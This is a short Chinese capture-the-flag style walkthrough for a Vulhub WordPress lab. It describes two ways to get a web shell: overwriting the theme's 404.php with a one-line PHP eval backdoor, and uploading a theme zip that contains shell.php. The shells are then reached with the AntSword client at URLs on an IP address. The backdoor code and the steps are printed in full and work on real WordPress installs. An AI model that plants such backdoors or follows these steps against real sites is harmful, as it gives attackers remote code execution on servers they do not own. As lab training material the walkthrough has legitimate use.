Vulnhub-wordpress通关攻略

        姿势一、后台修改模板拿WebShell

        第一步：进⼊Vulhub靶场并执⾏以下命令开启靶场；在浏览器中访问并安装好....

        第二步：找到外观--编辑--404.php，将原内容删除并修改为一句话木马，点击更新--File edited successfully.

<?php eval($_POST[cmd]);?>

        第三步：找到404.php的路径，使用蚁剑进行连接

#URL地址
http://47.103.81.25:8080/wp-content/themes/twentyfifteen/404.php

        姿势二、上传主题拿WebShell

        第一步：找到外观--主题--添加--上传主题--浏览---现在安装

        第二步：在网站上搜索WordPress主题免费下载，将后门文件shell.php加入后压缩为webshell.zip文件，上传

        第三步：使用蚁剑进行连接

http://47.103.81.25:8080/wp-content/themes/webshell/shell.php

                                                                                                                                FROM  IYU_